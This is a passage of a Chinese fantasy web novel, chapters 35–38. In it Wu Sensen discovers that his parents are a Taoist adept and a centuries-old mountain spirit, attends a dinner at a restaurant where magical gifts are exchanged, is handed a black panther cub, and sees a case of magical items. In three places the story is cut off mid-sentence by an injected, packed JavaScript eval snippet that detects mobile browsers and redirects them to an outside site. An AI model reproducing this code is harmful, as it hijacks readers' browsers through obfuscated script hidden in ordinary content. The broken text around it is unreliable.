屏幕那头的上官林林也是个机灵鬼,闻言立刻做了个鬼脸:“知道啦知道啦!嫌我碍事是吧?行行行,你们聊,我去写作业了!哥,保重啊!” 说完,还冲吴森森挤了挤眼,然后挂断了视频。 观景舱里,瞬间安静下来。只有机械运转的轻微嗡鸣,和窗外偶尔掠过的海鸟鸣叫。 夕阳的余晖将三人的脸庞染上温暖的橘红色,但在吴森森看来,这光芒却仿佛带着某种审视的意味。 吴若木和上官若水交换了一个眼神,然后,一起看向坐在对面的儿子。 “森森,” 吴若木率先开口,声音温和,却带着一种不容闪躲的直率,“现在,没有外人,妹妹也走了。你跟爸爸妈妈说说,你最近在杰潘,除了上学、在饭店帮忙,还遇到了些什么‘特别’的事情?” 上官若水没有说话,只是安静地看着儿子,镜片后的目光平静而深邃,仿佛在等待,也仿佛在观察。 该来的,终究还是来了。吴森森深吸一口气,知道避无可避。他开始在脑中飞速组织语言。 35. 摩天轮上的谈话 当摩天轮观景舱攀升至最高点,城市与海湾的壮丽全景如同一幅缓缓展开的画卷铺陈在脚下时,吴森森正绞尽脑汁,试图找到一个既不暴露太多危险、又能合理解释自己近期遭遇的说法。 然而,他还没来得及开口,上官若水先一步有了动作。 “森森,把你口袋里那个平安符拿出来。” 上官若水平静地说道,目光落在儿子略显紧绷的脸上。 吴森森一愣,下意识地摸向裤兜。 指尖触碰到那个用红布包裹的三角符箓时,果然感觉到一股异常清晰的温热感,仿佛在回应着什么。 他依言将符箓取出,托在掌心。 符纸入手,那股温热感更加明显,甚至开始散发出极其微弱的、几乎看不见的淡金色毫光。 紧接着,更让吴森森目瞪口呆的一幕发生了。 只见上官若水不紧不慢地抬起右手,探入自己看似平平无奇、绝对塞不下大物件的西装袖口。 然后,他竟然从里面掏出了一个直径约二十厘米、通体呈暗金色、表面布满复杂天干地支与星辰刻度的古旧罗盘! 罗盘中心的天池指针,正微微颤动着,指向吴森森手中的平安符。 “爸,你……” 吴森森彻底惊住了,嘴巴微微张开,看看父亲,又看看那个明显违反物理常识、凭空出现的罗盘,再看看自己手中发光的符箓,最后看向旁边一脸“果然如此”、“我老公厉害吧”表情的母亲。 他突然意识到,自己从小以为只是普通银行职员和中学教师的父母,似乎跟他过去十八年认知中的普通,有着天壤之别。 就在他震惊的目光中,掌心的平安符仿佛被无形的手牵引,自行从红布中飞出,悬浮在半空。 折叠的三角形自动展开,还原成一张长宽各约108厘米、质地坚韧、色泽古朴的完整黄色符纸! 符纸上,以朱砂绘满了密密麻麻、复杂玄奥的符文,这些符文此刻正随着罗盘指针的颤动,微微亮起流转的金色光华。 吴森森虽然看不懂这些符文的具体含义,但那扑面而来的、庄严、肃穆、蕴含着某种古老规则力量的气息,让他确信,这绝不是什么旅游纪念品! 父亲之前说这是“楼观台道长所赠的平安符”,恐怕……也远非那么简单。 “不必惊慌。” 上官若水的声音依旧平和,带着一种安抚人心的力量。 他一手托着罗盘,另一只手不知何时,已经从袖中接连取出了三种晒干的奇异植物、三种颜色各异的矿物晶体、以及三个小玉瓶,里面装着三种不同色泽的液体。 接着,他又拿出几个更小的玉盒,里面分别是粉末状的朱砂、当门子、檀香、降真香、龙脑,以及一种吴森森完全不认识的、散发着清冷月华般光泽的银色粉末。 只见上官若水手指凌空虚点,口中低诵着音节奇古的咒诀。 悬浮的符纸金光大盛,罗盘指针急旋。 那些材料仿佛被无形的力量操控:一清一浊两种液体自行从瓶中升起,化作两缕雾气;两种植物脱离本体,化作两点灵光;一种黄色矿物化为光点上升,一种玄黑矿物化为光点下降;而那六种粉末,则各自在空中勾勒出截然不同的、充满道韵的纹路轨迹,交织盘旋,与符纸上的符文隐隐呼应。 整个过程如同行云流水,充满了一种难以言喻的韵律与美感,却又散发着玄奥莫测的气息。 “爸,这是什么?” 吴森森看着眼前这仿佛道家科仪般的景象,声音有些干涩。 父亲不是普通人,那母亲呢?难道自己身上那个离谱的婚约……是真的有某种渊源? 他开始觉得之前认为的“家庭普通日常”,可能从一开始就是个美丽的误会。 上官若水没有立刻回答,而是专注地看着那些光点、雾气、纹路在符纸金光下的变化与交汇。片刻后,他才缓缓开口,声音带着洞察一切的清明: “你最近,依次遇到了蠃虫、介虫、鳞虫三类属相的妖鬼。但好在,分别有金火、水木、金木火三种不同性质的助力介入,助你化险为夷,度过难关。” 他目光转向吴森森,眼神深邃,“我看你似乎想对我们隐瞒些什么。儿子,遇到自己难以处理的困难时,直接告诉家里,天大的事,有父母在。 你这两三个月,除了要生活费,几乎不主动联系家里,遇到了这么多事也独自扛着,反而更让我们担心。” “还有这枚平安符可以抵御三次五级及以下妖怪的攻击。” 吴森森听着父亲平静却充满力量的话语,看着眼前这颠覆认知的景象,心中涌起一股复杂的情绪。 有感动,有羞愧,也有一种“原来我家这么牛我怎么不知道”的荒诞感。 他以前是真的以为父母就是最普通的工薪阶层啊! 谁能想到老爸袖子里能掏罗盘,老妈可能还跟几百岁的麒麟有过约定? “当然,我们也有错。” 上官若水继续说道,语气带着一丝罕见的歉意,“没有早些告诉你家里的‘副业’。主要是如今天地灵气衰微,修行艰难,精怪也远不如古时繁多强盛,我们觉得这些事情,没有特别提起的必要,希望你像个普通孩子一样长大。只是没想到,你在这条路上,缘法如此之深。或许……跟你母亲三百年前那段因果,多少有些牵连。” “三百年?!” 吴森森差点跳起来,瞪大眼睛看向母亲。老妈看起来顶多四十多岁,风韵犹存,但三百年?! “怎么,不行啊?” 吴若木没好气地白了儿子一眼,抱着胳膊,下巴微扬,“女人可以是十八岁,也可以是几百岁,但绝对不能是三四十! 懂不懂?” 吴森森被母亲的“歪理”噎得说不出话,默默把涌到嘴边的疑问咽了回去,小心翼翼地问出了那个盘旋心头已久的问题:“所以……我身上那个‘婚约’,是真的了?” 吴若木脸上的表情瞬间僵住,眼神飘忽,似乎陷入了某种尴尬的回忆,张了张嘴,却没发出声音,罕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那张悬浮的、光芒流转的巨大符纸,也自动折叠、收缩,变回最初的三角形,轻轻落回吴森森手中,温热感已然消失,恢复成一张看似普通的旧符。 他赶紧将它重新用红布包好,揣回兜里。 “好啦,落地了!” 吴若木率先站起来,整理了一下衣服,脸上又恢复了那种兴致勃勃的游客表情,仿佛刚才那场颠覆认知的谈心从未发生。 她拉住还有些发懵的儿子的胳膊,“走啦走啦!去那位好心的高宏先生家吃饭去!可得好好谢谢人家照顾我们家森森!” 夕阳的最后一抹余晖将一家三口的身影拉长。 吴森森跟在父母身后,走出摩天轮,踏上天保山公园的实地。脚下是坚实的地面,心中却依然有些恍惚。 夜幕降临,华灯初上。 他们叫了辆出租车,向着春枝猪排饭店的方向驶去。 36. 晚餐 “春枝猪排饭店”今晚提前打烊,卷帘门拉下了一半,只留下员工通道的侧门虚掩着。 店内灯火通明,却没了往常的喧闹,只有后厨传来有节奏的切菜声和炖煮的咕嘟声,混合着诱人的食物香气。 吴森森将父母安顿在店里那间专门用于招待熟客或小型聚会、相对安静雅致的小和室餐厅,奉上热茶和几样精致的小菜后,就以“去厨房帮忙”为由溜了出来,一头钻进了热火朝天的后厨。 高宏亮正系着围裙,站在宽大的不锈钢料理台前,手法娴熟地将一块上好的猪里脊切成厚薄均匀的肉排,发出清脆利落的“笃笃”声。 看到吴森森进来,他头也不抬地问:“怎么跑过来了?不去陪你爸妈说说话?” “他们……自己聊着呢。” 吴森森含糊道,拿起一旁的围裙系上,很自然地开始帮忙处理配菜——清洗蔬菜、切洋葱丝、准备天妇罗的面糊。 厨房的烟火气和熟悉的流程让他感到安心,尤其是刚刚经历了摩天轮上那场信息量爆炸的“坦白局”之后。 他一边剥着蒜,一边忍不住压低声音,对高宏亮说:“高宏先生,我爸妈……他们好像,不是普通人。” 高宏亮切肉的动作没有丝毫停顿,只是“嗯”了一声,表示在听。 “我爸……他好像是个道士?还会用罗盘,画符,搞一些我看不懂的仪式……” 吴森森斟酌着用词,“我妈……好像也有点特殊,她说她……嗯,年纪可能比看起来大很多。” 高宏亮这才停下刀,侧头看了吴森森一眼,眼神里带着了然:“刚刚见你爸妈第一面,我就觉得不对劲。 “气息太稳了,稳得不像话,但偏偏又感觉不到任何外放的灵力、妖气或者别的什么‘异常’。就像是……完美的‘内敛’。能做到这一步的,绝不是一般人。不过人家没说,我也就没问。” 他重新拿起刀,继续处理下一块肉,“所以你爸是火居道士?” “火居道士?” 吴森森对这个词有点陌生。 “就是可以结婚生子、不住在道观、在世俗中修行的道士。” 高宏亮解释道,“正统的全真派道士一般是出家修行,不结婚。正一道士,尤其是其中的火居道士,则可以居家修行,娶妻生子,有自己的职业和生活,同时修持道法。 “看你爸那样子,像是这一路的。除了火居道士,其他严格戒律的道士流派,通常是不能结婚的。” 吴森森恍然大悟:“原来是这样……感觉我爸还挺厉害的,那些符啊罗盘啊,看起来很玄乎。” “确实厉害。” 高宏亮肯定地点点头,语气带着一丝佩服,“能让我这鼻子和直觉都差点蒙混过去,只感到‘异常平稳’而非‘异常强大’,这道行修为恐怕相当精深,已经到了返璞归真、气息完全内敛圆融的境界。 “普通的修行者或者妖怪,再怎么隐藏,多少会有点‘味’漏出来。你爸这是把‘自己’彻底‘化’在平常人里了,不显山不露水,这才是真本事。” 他一边说着,一边将切好的猪排用肉锤轻轻拍松,动作行云流水:“说到这个,正好跟你讲讲。你之前接触的,像荒、长岛冰茶、我,还有你爸,其实都可以算广义上的‘术士’——能运用超自然力量的人。但细分的话,又有区别。” “像长岛冰茶那种,主要依靠家族传承的灵力、特定仪式和法器,算是比较典型的传统术士或神道术士。我呢,力量主要来自稀薄的犬妖血脉,算是‘天赋型’,自己摸索着用,没什么系统传承,路子比较野。荒的情况更特殊,是神裔、灵力与神明碎片的混合体。” “而你爸这种,应该属于修行者。” 高宏亮将拍好的猪排放入特制的酱汁中腌制,“修行者也是术士的一种,但通常指那些有明确、系统的修炼道路,追求自身生命层次提升、体悟天地大道、并以此掌握力量的人。 “ 他们修炼往往更注重心性、悟性、积累和对‘道’的理解,进展可能比单纯依靠天赋或仪式的术士慢,但根基更扎实,手段也更玄妙莫测,尤其是到了高深处。你爸显然是此道高人。” 吴森森听得连连点头,感觉对超自然世界的“职业体系”又清晰了一些。 “对了,” 高宏亮话锋一转,瞥了吴森森一眼,“下午你跟你爸妈分开那一会儿,是不是又‘偶遇’什么了?我看你脸上那几道红印子,不像树枝刮的,倒是带着的哀怨的气息。还有,你的力量也有点使用过度的感觉。” “不要太逞强,对于这种超自然的东西,尤其是你没有基础的情况下,尽量远离吧。” 吴森森心里佩服高宏亮的敏锐,便简略地将下午在小树林帮助长岛冰茶对付“哭叶蝶”,以及陷入其制造的精神幻境、最后在幻境中“高宏亮”出现帮忙的经过说了一遍,略去了幻境中那些过于荒诞和尴尬的细节。 “哭叶蝶?” 高宏亮挑了挑眉,手上给猪排裹面包糠的动作依旧流畅,“摸到三级门槛的特殊妖怪啊。能制造那种近乎真实、能困住生灵魂魄、还有完整剧情和规则的精神幻境,这已经不是简单的幻术了,已经有点‘域’的雏形,或者说,是一种极度偏向精神层面的、不完整的‘域’。也难怪你觉得它本质像‘鳞虫’,还能转换形态。” 他一边将裹好面包糠的猪排放入油锅,滋啦一声,香气四溢,一边继续科普:“关于‘域’,我之前简单提过。真正的‘域’,是至少三级及以上妖怪,或者修为极高的术士,才能掌握的能力。 “ 它要么是在现实中强行开辟出一块独立的亚空间,要么是用强大的力量暂时覆盖、扭曲一片现实区域,形成独特的规则。 “‘域’有明确的边界,内部规则与外界不同,可以困敌、修炼、或者达成特定目的。像大百足那个自毁的‘域’,是二者兼有的,范围有限,但规则诡异。” “而你下午遇到的那个‘哭叶蝶’的精神幻境,虽然效果很像,但本质不同。它没有真正的空间边界,也无法直接影响现实物质,只能作用于精神和灵魂。它更像是一种超高强度的、范围性的精神能量场,只不过这个能量场被塑造成了复杂的幻象世界。只要精神力量足够强,或者有外力干扰其核心,就能打破。 “真正的‘域’,想出来可没这么容易。” 高宏亮总结道,“不过,能搞出这种精神幻境的,也算很厉害、很特殊的妖怪了。妖怪和术士都能修出‘域’,本质上,人也不过是‘五虫’中的‘裸虫’,修炼到高深处,掌握空间规则,并非不可能。” 吴森森听得入神,对“域”的理解又深了一层。难怪当时幻境崩溃得那么快,原来只是“精神能量场”,而非真正的独立空间。 “行了,理论知识到此为止。” 高宏亮将炸得金黄酥脆的猪排捞出沥油,动作麻利地开始摆盘,“帮忙把这些菜端到小餐厅去。今晚可是特意为你爸妈准备的,不能怠慢了。” 吴森森看向料理台,只见上面已经摆满了各式各样的菜肴,琳琅满目,香气扑鼻: - 主菜:招牌的特制炸猪排定食(猪排、卷心菜丝、味噌汤、米饭),考虑到吴森森父亲不吃牛肉,没有和牛寿喜烧什么的。猪排选用了最上等的黑毛猪里脊。 - 传统日式:盐烧鲷鱼、照烧鸡腿肉、茶碗蒸、蔬菜天妇罗拼盘。 - 融合创意:和风汉堡肉配红酒酱(用猪肉和鸡肉混合)、明太子奶油意面、柚子风味凉拌海鲜沙拉。 - 其他:关东煮、渍物拼盘、玉子烧,以及一锅正在小火慢炖、香气浓郁的豚骨汤。 菜品兼顾了传统与创新,口味多样,分量十足,看得出高宏亮是花了心思的,既想展示手艺,也想让吴森森的父母吃得满意、放心。 “高宏先生,您太破费了……” 吴森森看着这一大桌,有些过意不去。 “破费什么,你爸妈大老远来,第一次见面,应该的。” 高宏亮擦了擦手,咧嘴一笑,“快去,别让他们等急了。哦,对了,” 他压低声音,半开玩笑地说,“要是你爸妈问起我,可别说我能看见妖怪、会砍怪物啊,就说我是个‘有点力气、做饭还不错的热心饭店老板’就行。” 吴森森会意,笑着点点头,端起两盘菜,走向那间灯火通明的小和室。 ———— 小和室内,灯光温暖,菜肴丰盛,香气四溢。 四人围坐矮桌,气氛轻松融洽。 吴若木充分发挥了社交天赋,对高宏亮的厨艺赞不绝口,热情得让高宏亮都有些招架不住,只能憨厚地笑着,连连说“您喜欢就好”、“粗茶淡饭,不成敬意”。 上官若水则安静许多,但用餐礼仪无可挑剔,对每道菜都细细品尝,偶尔与高宏亮交谈几句,态度温和,言语得体,既表达了感谢,也显示出一定的见识,让高宏亮觉得这位“吴先生”不仅修为高深,为人处世也令人如沐春风。 吴森森则埋头苦吃,偶尔给父母夹菜,或者接几句话茬,心里却一直绷着一根弦,生怕父母或者高宏亮哪句话说漏了,把这层“普通家常宴”的窗户纸捅破。 然而,他担心的事情并未发生。整个晚餐过程中,无论是父母还是高宏亮,都绝口不提任何与超自然相关的话题。 他们聊的话题平常得不能再平常,仿佛这真的只是一次普通的留学生家长答谢宴。 实际: 当高宏亮端着汤锅进来,弯腰为吴若木添汤时,吴森森清楚地看到,母亲的瞳孔几不可察地收缩了一下,目光在高宏亮身上飞快地扫过。 在门口初次见面的时候其实还没有看那么仔细。 她的嘴唇微微动了一下,似乎想说什么,但坐在旁边的上官若水,放在桌下的手极其隐蔽地、轻轻扯了一下她的衣角。 吴若木立刻会意,将到嘴边的话咽了回去,转而笑着接过汤碗,继续夸赞汤头的鲜美。 但吴森森分明从母亲眼中看到了一丝惊奇、了然,以及一丝“果然如此”的笑意。 她恐怕是凭借某种天赋,瞬间感应到了高宏亮身上那稀薄却独特的犬妖血脉气息,差点脱口而出“怎么有只乖狗狗”之类的话,幸好被父亲及时制止了。 而上官若水,从始至终都表现得平静淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016509|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,但是想也知道道行高深的父亲肯定看出来什么了。 他选择沉默给予尊重。 这是一种高手间的默契,看破不说破。 晚餐接近尾声,气氛更加融洽。 吴若木放下筷子,擦了擦嘴,然后从随身的小包里,拿出一个用深蓝色丝绸方巾仔细包裹的小物件。 “高宏先生,” 她笑容可掬地将小包推向高宏亮,“这次来得匆忙,没准备什么像样的礼物。这是我们老家秦岭山里出的一种小石头,看着挺别致,也算我们那边的一点特色。不值什么钱,就是份心意,谢谢你这么久以来对森森的照顾!” 高宏亮连忙双手接过,连声道谢:“您太客气了!这怎么好意思……” 他一边说,一边小心地解开丝绸方巾。 里面是一块约莫鹅蛋大小、通体呈温润的乳白色、间或夹杂着几缕翠绿色丝絮状纹理的卵形石头。 石头表面光滑,触手生温,更奇特的是,仔细看去,石头内部仿佛有极其微弱的、如同呼吸般明灭的淡绿色荧光在缓缓流动。 高宏亮接过石头的瞬间,眉头几不可察地动了一下。 他感受到了一股精纯、温和、充满蓬勃生机与山林庇护气息的能量,正从石头中缓缓散发出来。 这股能量与他之前从吴森森母亲身上感知到的那种“异常平稳”不同,更加外放、亲和,带着明显的“自然”与“生长”属性。 “山林的恩泽……” 高宏亮心中了然。这位吴夫人,果然也非寻常人。这股力量,与传说中的山林女神一脉相承,但又有所不同。 真正的天生地养之灵,其力量更加古老、磅礴、近乎规则。 而“后裔”或传承者的力量,则更偏向于“借用”或“共鸣”,虽同样神奇,但本源上或许稀薄一些。 不过,这绝不意味着弱小。能将这种力量蕴养进一块石头,并作为随手礼物送出,本身就说明了这位夫人的修为和底蕴。 这块“秦岭美石”,具体成分不明,但显然长期受吴若木自身力量滋养,已经成为了一件温和的“灵物”。 其功效,高宏亮能隐约感知到,大概是促进周围植物生长、净化小范围空气、驱散微弱病气、长期佩戴或放置能潜移默化地增强附近生灵的体质。 对于经营饭店、注重食材和环境的高宏亮来说,这礼物既别致又实用,更是一份沉甸甸的善意。 “这石头真漂亮,还有股让人舒服的气息。” 高宏亮没有点破,只是真诚地道谢,“谢谢您,吴夫人,这份礼物我很喜欢,会好好珍藏的。” 吴若木笑眯眯地点头,显然对高宏亮的“识货”很满意。 这时,上官若水也放下茶杯,从怀中取出一个扁平的、同样用素色宣纸包裹的小包,递给高宏亮。 “高宏先生,一点小小心意,还请收下。” 上官若水语气平和,“是几张平安符和净宅符,寻常道观所出,图个吉利。挂在店里,或随身携带,多少有些安神静气、驱邪避秽的用处。” 高宏亮再次郑重接过,打开宣纸,里面是三张折叠整齐的黄色符纸。 符纸上的朱砂符文不如给吴森森的那张复杂磅礴,但也笔画清晰,灵力内蕴,显然是精心绘制的上品实用符箓,绝非地摊货。 一张适合贴在店面,一张适合随身,还有一张似乎是针对厨房火灶的“镇火安灶符”,考虑得十分周到。 “上官先生,您太费心了!” 高宏亮能感觉到这几张符箓的价值,连忙道谢,“这符我一定好好用上!” 上官若水微微颔首,没有多做解释。 他送符,既是感谢,也是一种隐晦的认可与回馈:认可高宏亮对吴森森的照顾,也回馈他作为“同道”的善意。 礼物送毕,晚餐也到了尾声。 众人又喝了一会儿茶,聊了些闲话。 吴若木和上官若水便起身告辞,表示明天还有行程,就不多打扰了,并再次感谢高宏亮的盛情款待。 高宏亮和吴森森将两人送到店门口。夜色已深,街灯明亮。 “森森,明天我们自己去玩,你该上课上课,晚上有空再一起吃饭。” 吴若木拍拍儿子的肩膀,眼神温柔中带着一丝不易察觉的郑重,“记住爸妈的话,有事一定要说。” “嗯,知道了,妈,爸,你们也注意安全,玩得开心。” 吴森森点头。 上官若水对高宏亮点了点头:“高宏先生,森森就拜托你了。” “您二位放心。” 高宏亮认真回道。 看着父母坐上出租车离去,消失在阪大的夜色中,吴森森站在店门口,长长地舒了口气。 今晚这场暗藏机锋却又异常和谐的晚餐,总算平安度过了。 回到店内,高宏亮看着手里那块温润的秦岭美石和三张灵光内蕴的符箓,又看看吴森森,咧嘴一笑:“你小子,藏得挺深啊。不过,你爸妈……是真好。” 吴森森也笑了,心中一块大石落地,同时又充满了对父母更深的理解与温暖。 “嗯,他们……一直都很好。” 37. 它要跟我回家! 碗里的味噌汤还剩最后几口,吴森森正想着收拾完桌子就赶紧去把堆积的作业画上两笔,手机响了。 是母亲吴若木。 “喂,妈?” “森森啊!跟你说个事儿!我们捡到猫了!” 吴若木的声音在电话那头听起来异常兴奋,背景似乎还有细微的、类似小兽呜咽的声音。 “啊?猫?在杰潘捡的?你们不是去逛街了吗?” 吴森森一头雾水。 “对啊!就在心斋桥那边一个小巷子垃圾桶旁边,可怜兮兮的,一看就是跟妈妈走散了!特别像火火小时候! 我和你爸一商量,觉得跟咱们家有缘。” 吴若木说得理所当然。 “所以说它要跟你回家!” “等等等等!” 吴森森差点被汤呛到,“跟我回家?我都不在现场呢!而且我住在高宏先生这儿,怎么能随便收养猫?高宏先生同意了吗?再说,杰潘这边对宠物管理很严的,流浪猫也要先检查、打疫苗、办手续……” “哎呀,手续的事情你爸在弄了!我们大概一刻钟就到店里!你先跟高宏先生打个招呼啊!就这么说定了!” 吴若木完全不给他反驳的机会,啪嗒挂了电话。 吴森森拿着手机,一脸懵逼地看向正在擦桌子的高宏亮:“高宏先生……我爸妈说,他们捡了只猫,要带过来……跟我‘回家’……这怎么办?” 高宏亮动作一顿,挑了挑眉:“猫?你爸妈动作还真快。行啊,带过来看看呗。多一张嘴吃饭而已,小猫的话,店里也养得起,注意别让它进厨房和后院危险的地方就行。实在不行,回头我问问附近有没有靠谱的宠物店或者救助站能接收。” 听到高宏亮这么说,吴森森稍微松了口气,但心里还是觉得父母这事做得有点唐突。 一刻钟后,店门外果然传来了停车声和父母的说笑声。 吴森森和高宏亮迎出去,只见吴若木怀里抱着一个用她的薄风衣裹成的、鼓鼓囊囊的包裹,脸上洋溢着捡到宝的笑容。 上官若水跟在后面,手里拎着几个新买的宠物用品袋子,表情依旧平静,但眼神里似乎也带着一丝……愉悦? “森森!高宏先生!快来看!就是这小家伙!” 吴若木献宝似的,小心翼翼地将风衣包裹打开一角。 吴森森和高宏亮凑过去一看—— 瞬间,两人都石化了。 风衣包裹里,确实蜷缩着一只“小动物”。但它绝对、肯定、百分之百不是猫! 那是一只通体乌黑发亮、没有一丝杂色、体型虽然还小但骨架已经能看出未来的矫健轮廓、四肢粗壮、尾巴长而有力的……小黑豹! 一双圆溜溜、琥珀色、在灯光下如同宝石般剔透的大眼睛,正好奇又略带警惕地望着他们,喉咙里发出轻微的、带着奶音的“呼噜”声。 这……这跟“火火很像”?火火不是家里养了很多年的、看起来就是只毛色比较特别的大玄猫吗?! 这特么明明是保护动物啊!而且还是猛兽幼崽! 吴森森感觉眼前一黑,声音都发颤了:“妈……这、这是猫吗?这明明是小黑豹啊!我们不会因为非法饲养保护动物被抓起来吧?! 这和火火哪里像了?火火是猫啊!” “怎么不像了?” 吴若木一脸“你不懂”的表情,轻轻抚摸着小黑豹的脑袋,小家伙似乎很舒服,眯起了眼睛,“都是玄猫嘛! 你看这毛色,这眼睛,这乖巧劲儿,跟火火小时候一模一样!火火不也是黑乎乎、圆滚滚的?” “妈!玄猫是指黑猫!不是黑豹! 这是豹!是猛兽!是保护动物!” 吴森森快要抓狂了,试图跟母亲讲道理,“我们不能养!这得交给动物园或者野生动物保护机构!高宏先生,你说对吧?” 高宏亮也从最初的震惊中回过神来,他比吴森森看得更清楚。 这小家伙,不仅仅是外表像黑豹,其身上散发出的那种微弱的、却异常精纯的灵性与野性血脉气息,绝非普通动物园里那些人工繁殖的豹子可比。 这恐怕是某种具有古老灵兽或妖兽血统的黑豹后裔! 其稀有和潜在的危险性,比看上去还要高。 自家先祖那点犬妖血脉,跟这小家伙的根脚比起来,恐怕都算是“温顺”的了。 “吴夫人,这……这确实不是普通的猫。是黑豹,而且看起来血统不一般。在杰潘私人饲养,法律风险很大,而且它长大了,可能会有危险。” 高宏亮也试图委婉地劝阻。 吴若木却撇了撇嘴,抱着小黑豹的手更紧了紧,理直气壮地说:“山林女神的后裔,身边怎么能不养只大猫呢? 《楚辞》里不都写了,山鬼出行都驾着赤豹,带着文狸。我虽然比不上上古山鬼,但养只黑豹怎么了?多威风!多应景!” 吴森森:“……” 妈,那是神话!是文学夸张!而且人家山鬼驾的是赤豹,不是黑豹! 还有,家里那个火火,难不成真是……赤豹?!他一直以为就是只长得壮实点、毛色黑里发红的大猫啊! 仿佛看穿了儿子的想法,吴若木补充道:“火火啊?它有时候也会变回原形在秦岭山里跑跑,平时在家为了方便,就保持普通玄猫的样子嘛。精怪修炼到一定地步,变换个形态有什么难的?你以为你妈我真就只是个普通银行职员?” 吴森森彻底服了。是了,他早该想到的。母亲能跟几百岁的麒麟有约定,父亲是深藏不露的火居道士,家里的“宠物”又怎么可能是凡品? 但他还是试图做最后的挣扎:“妈,就算是这样……可这是杰潘!是现代社会!有动物保护法的!我们不能……” “法律的事情,你爸搞定了。” 吴若木打断他,示意了一下上官若水。 一直沉默的上官若水,这时从容地从西装内袋里取出一个硬质卡套,递给了吴森森。 吴森森疑惑地接过,打开一看,里面是一张制作精良的证件。 上面印着杰潘某官方认可的“特殊野生动物保育与研究合作机构”的徽标,姓名栏是吴森森,职务是“特约饲养员”,还贴着一张这只小黑豹的清晰标准照! 签发日期就是今天!甚至还有钢印和官方流水编号!看起来正规得不能再正规! “这……这是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高宏亮第一个没忍住,笑出了声,“吴小弟,你这取名水平……真是简单直接。” 吴若木也笑了:“小黑就小黑吧,好记!跟你爸当年给火火起名一个德行!” 上官若水面无表情地推了推眼镜,不予置评。 于是,即便吴森森还处于“我是谁我在哪我为什么突然成了黑豹饲养员”的凌乱中,在父母的神通和说服下,连高宏亮迅速接受并开始饶有兴趣地用一根猫薄荷逗猫棒逗弄小黑的欢快气氛中…… 春枝猪排饭店以及吴森森的生活里,正式多了一位新成员——小黑,一只疑似拥有古老灵兽血统、目前还是幼崽、看起来人畜无害、证件齐全的小黑豹。 他现在只希望,小黑的到来,不要再给他本已足够精彩的生活,增添更多不可控的变量了。 不过看着小家伙睡着时偶尔抖动的胡须和粉嫩的肉垫,他又觉得,或许……多个伴儿,也不错? 当然,前提是,它长大以后,别把高宏先生的店,或者他的画布,当成猫抓板。 ———— 晚上两人看着闹腾完开始安睡的小黑豹,一阵苦恼,看来家里好多地方要贴猫抓板。 而且要让它学一学,明白哪些东西不能抓了,不然家里经不起折腾啊。 38. 新的线索 松和万事屋的办公室里,午后阳光斜照进来,空气中的微尘缓缓浮动。 少了总在角落打游戏、或者被森内彻支使得团团转的佐藤莲,今天被特批休假,房间里显得有些过于安静,直到渡边兰无声无息地推门而入,手里提着一个看起来颇有些分量的金属密码箱。 “桐岛的。” 渡边兰言简意赅,将密码箱放在办公桌上,输入密码,箱盖自动弹开。 众人的目光立刻被吸引过去。 箱内铺着黑色的防震绒布,整齐地摆放着三个大小、材质各异的密封容器,以及一份附带的、打印得密密麻麻的技术说明和注意事项文件。 森内彻首先拿起那份文件,紫绿色的挑染在阳光下有些晃眼,他快速浏览着,嘴里啧啧有声:“桐岛这小子,不声不响又搞出这么多好东西……还都是‘危险品’。” 他清了清嗓子,开始向在场的其他人——高宏亮、吴森森、长岛冰茶,以及站在窗边阴影里的荒,介绍箱子里的东西: “第一件,‘迷穀石花’。” 森内彻指向一个拳头大小、形状不规则、表面仿佛天然生长着奇异螺旋纹路的灰白色石头,石头中心镶嵌着一朵用某种半透明晶体制成的、极其精致的小花,小花散发着微弱的、稳定的乳白色荧光。 “这玩意儿厉害了,是桐岛用之前辻神留下的石像碎片和域的能量结晶,结合他‘古代学者’的某些手段鼓捣出来的。功能如其名——在‘域’里用的路引。” 他照着文件念道: “具体效果: 1. 破妄:能看穿四级及以下‘域’中的大部分幻觉、伪装和空间扭曲,遇到五级‘域’效果不稳定或无效。 2. 寻边:可以指示‘域’的边界位置和能量相对薄弱的节点。 3. 隐匿:减少佩戴者自身气息与‘域’规则的冲突,让‘域’内的本地存在更难察觉佩戴者是‘外来者’。 “简单说,就是闯‘域’专用导航+隐身符+破幻眼镜,居家旅行,杀人越货……咳咳,探索未知,必备良品。” 众人眼睛一亮。这东西在应对类似大百足、辻神甚至更高级的“域”时,无疑是极大的助力。 “第二件,‘细胞活性剂’。” 森内彻拿起一个装着淡绿色、略微粘稠液体的小巧玻璃安瓿瓶,大约5毫升容量。 “桐岛研究那块‘活肝’得到的灵感。效果简单粗暴:快速促进细胞分裂与修复,实现伤口快速愈合和止血。 对于皮肉伤、撕裂伤效果极佳,估计深一点的伤口也能在几分钟内看到明显效果。但是!” 他加重语气,“注意!严禁用于骨折等骨骼损伤! 说明书上红字加粗警告,这玩意儿会疯狂刺激细胞生长,用在骨折处,可能导致骨痂疯长、畸形愈合甚至引发骨癌等灾难性后果!切记,只用于皮肉伤!” 高宏亮点了点头:“关键时刻能保命的东西,但用的时候得格外小心。” “第三件,‘木行促进剂’。” 森内彻指向最后一个稍大些的、装着翠绿色、清澈液体的水晶瓶,大约20毫升。“这个也是‘活肝’研究的副产品,或者说衍生物。 “效果是短时间内大幅增强使用者的‘木行’属性力量,增幅与生机、植物生长、发育、治愈相关的术式效果。 